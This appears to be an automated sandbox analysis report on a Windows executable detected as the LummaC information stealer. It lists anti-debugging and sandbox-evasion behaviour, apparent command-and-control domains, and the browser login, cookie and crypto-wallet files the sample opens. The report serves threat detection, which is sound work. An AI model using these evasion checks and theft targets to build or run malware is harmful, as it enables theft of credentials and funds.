Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6876763 second address: 6876786 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jmp 00007F8FAD4EAD5Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F8FAD4EAD7Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F8FAD4EAD56h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68768B5 second address: 68768CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8FACDB056Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6877144 second address: 6877161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6877161 second address: 6877169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68772A0 second address: 68772AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8FAD4EAD56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68772AC second address: 68772B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68772B1 second address: 68772C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8FAD4EAD5Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 68772C0 second address: 68772C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 683B2C2 second address: 683B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 683B2C6 second address: 683B2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 6877567 second address: 687756E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A889 second address: 687A8A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F8FACDB0566h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A8A1 second address: 687A8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8FAD4EAD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8FAD4EAD61h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A8CD second address: 687A8ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8FACDB0578h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A8ED second address: 687A8FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A8FE second address: 687A902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	RDTSC instruction interceptor: First address: 687A902 second address: 687A908 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: A8BBF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: A8C82 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 23F304 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 26A7DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 66DDC71 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 687A447 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 688D55B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Special instruction interceptor: First address: 6912C90 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 6292	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 4208	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 5036	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 7152	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 2928	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe TID: 5016	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: JpzbUfhXi0.exe, 00000000.00000002.2440223334.000000000685B000.00000040.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2431539152.000000000021F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: JpzbUfhXi0.exe, 00000000.00000003.2082189721.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2434142626.00000000015E7000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2336017574.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001626000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: JpzbUfhXi0.exe, 00000000.00000002.2440223334.000000000685B000.00000040.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000002.2431539152.000000000021F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: JpzbUfhXi0.exe, 00000000.00000003.2106528998.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: NTICE
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: SICE
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: JpzbUfhXi0.exe, 00000000.00000003.2032419225.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: JpzbUfhXi0.exe, 00000000.00000002.2432306021.0000000000269000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: SProgram Manager
Source: JpzbUfhXi0.exe, 00000000.00000002.2440223334.000000000685B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: cProgram Manager

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: JpzbUfhXi0.exe, 00000000.00000003.2209032236.000000000169D000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2360653021.000000000168C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s%\Windows Defender\MsMpeng.exe
Source: JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001619000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194627468.0000000001626000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: JpzbUfhXi0.exe PID: 2124, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000168C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: JpzbUfhXi0.exe, 00000000.00000003.2167853707.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: JpzbUfhXi0.exe, 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: JpzbUfhXi0.exe, 00000000.00000003.2167853707.0000000001676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: JpzbUfhXi0.exe, 00000000.00000003.2167683205.0000000001681000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
